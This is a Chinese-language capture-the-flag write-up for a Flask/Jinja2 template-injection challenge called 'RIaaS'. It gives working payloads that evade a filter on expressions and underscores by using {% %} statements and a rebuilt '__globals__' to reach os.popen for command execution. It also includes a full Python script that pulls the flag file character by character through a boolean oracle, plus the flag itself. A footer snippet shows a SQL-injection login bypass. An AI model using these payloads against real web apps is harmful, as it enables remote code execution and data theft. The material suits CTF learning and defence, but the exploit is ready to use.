# RIaaS
## Summary
Flask/Jinja2 SSTI 题。`username` 参数被拼进真实模板,但 `{{...}}` 表达式被正则整体剥离、`_` 字符被删除——两条最常见的 SSTI 路线全被堵死。突破口是:**`{%...%}` 语句没被剥离且真实执行**,配合 `{%set u='%c'|format(95)%}` 手工拼出下划线构造 dunder,用 `cycler.__init__.__globals__['os'].popen()` 拿 RCE;命令输出不回显,再用 `{%if b[pos]=='X'%}MARK{%endif%}` 逐字符布尔 oracle 把 `base64 /chall/flag` 的内容读出来。
**靶场**: http://49.232.142.230:19445 (授权 CTF 靶场)
## Solution
### Step 1: 侦察 → 找到注入点
- 首页注释里直说 "We have a blacklist to keep those sneaky hackers away!"。
- `/robots.txt` 给出隐藏路径(出题人提示之一):
```
User-agent: Stormtroopers
Disallow: /nottheflaglol
```
- `GET /nottheflaglol` 是个 login 风格表单,要求 POST 的 `username` 必须包含 `curl http://`,否则回显 `No curl in input`;包含则回显 `You really thought I am going to execute '<处理后的输入>'`。
关键判定(都是一步 curl 验证的):
```
POST username={{7*7}}+curl http:// → 回显字面 "7*7",不是 49 # {{...}} 被正则剥离
POST username=curl http://{%for i in range(3)%}a{%endfor%} → 回显 "aaa" # {%...%} 真实执行
POST username=abc__init__def → 回显 "abcinitdef" # 仅删 '_'
```
结论:注入发生在 Jinja2 模板渲染阶段,回显的是**注入片段的渲染结果**;表达式被剥、下划线被删、其余标点(`{ } ' " . ( ) [ ] | %` 等)与关键字(`cycler/globals/os/popen/base64...`)全部放行。
### Step 2: 绕过黑名单拿 RCE
用 `'%c'|format(95)` 生成 `_`,拼出 `__init__` / `__globals__`,走 `cycler` 全局对象到 `jinja2.utils` 模块命名空间里的 `os`:
```
curl http://{%set u='%c'|format(95)%}{%set i=u+u+'init'+u+u%}{%set g=u+u+'globals'+u+u%}{%set os=cycler[i][g]['os']%}{%if os.popen('ls /').read()|length>0%}31337{%endif%}
```
回显 `31337` → RCE 确认(`id`、`ls /` 均可执行)。`ls /` 看到 `/chall`;`ls /chall` 里有 `flag`(31 字节)。
小坑:`cat /chall/flag` 的直接输出读不出来(回显侧对路径/内容有截断),改用 `base64 /chall/flag` 再解码。
### Step 3: 布尔 oracle 逐字符读 flag → 解码
命令输出不会原样回显,但"条件为真时输出标记"可以:`{%if b[pos]=='X'%}31337{%endif%}`。对每个位置用 **二分 + `in` 判断**把候选字符集折半(base64 字母表 65 个字符,每字符约 7 次请求)。
完整解题脚本(从访问靶场到打印 flag):
```python
#!/usr/bin/env python3
# RIaaS solver: Jinja2 {%...%} statement injection + dunder rebuild + boolean oracle
import base64, string, requests
URL = "http://49.232.142.230:19445/nottheflaglol"
MARK = "31337" # 固定文案里不含数字,不会误报
# 公共前缀:必须含 'curl http://';{%...%} 才会被执行;'%'c'|format(95)' 造出下划线
PRE = ("curl http://"
"{%set u='%c'|format(95)%}"
"{%set i=u+u+'init'+u+u%}" # i = "__init__"
"{%set g=u+u+'globals'+u+u%}" # g = "__globals__"
"{%set os=cycler[i][g]['os']%}" # jinja2.utils 里的 os 模块
"{%set b=os.popen('base64 /chall/flag').read()%}") # cat 会截断,改用 base64
def probe(cond): # cond: Jinja2 布尔表达式文本
payload = PRE + "{%%if %s%%}%s{%%endif%%}" % (cond, MARK)
r = requests.post(URL, data={"username": payload})
return MARK in r.text
ALPHABET = string.ascii_letters + string.digits + "+/=\n"
# sanity check: RCE 真的成立
assert probe("os.popen('id').read()|length>0"), "RCE failed"
out, pos = "", 0
while True:
cand = ALPHABET # 每个位置对候选集二分: b[pos] in '...'
while len(cand) > 1:
half, cand2 = cand[:len(cand)//2], cand[len(cand)//2:]
cand = half if probe("b[%d] in %r" % (pos, half)) else cand2
ch = cand if probe("b[%d] in %r" % (pos, cand)) else None
if ch is None: # 该位置不在任何候选 → 读完了
break
out += ch
pos += 1
b64 = out.strip()
flag = base64.b64decode(b64).decode()
print("b64:", b64)
print("flag:", flag)
```
实际运行读出:
```text
b64: bjAwYnp7NTV0MV9zdXIzXzFzXzRfaDM0ZDRjaDMhfQ==
```
解码即得 flag。
## Flag
```
n00bz{55t1_sur3_1s_4_h34d4ch3!}
```
RIaaS-wp
Zengan 2026-09-16 16:28:37 6 0 返回题目详情
作者:Zengan
8
提交0
收入相关WriteUP
-
Web安全入门指北—POST
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
post-the-get
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
my-first-sqli
username=admin'and1=1--+password任意输入,即可登录
- WEB
- 3年前
-
inspect-me-WP
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
Python Pickle Unserializer—WP
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前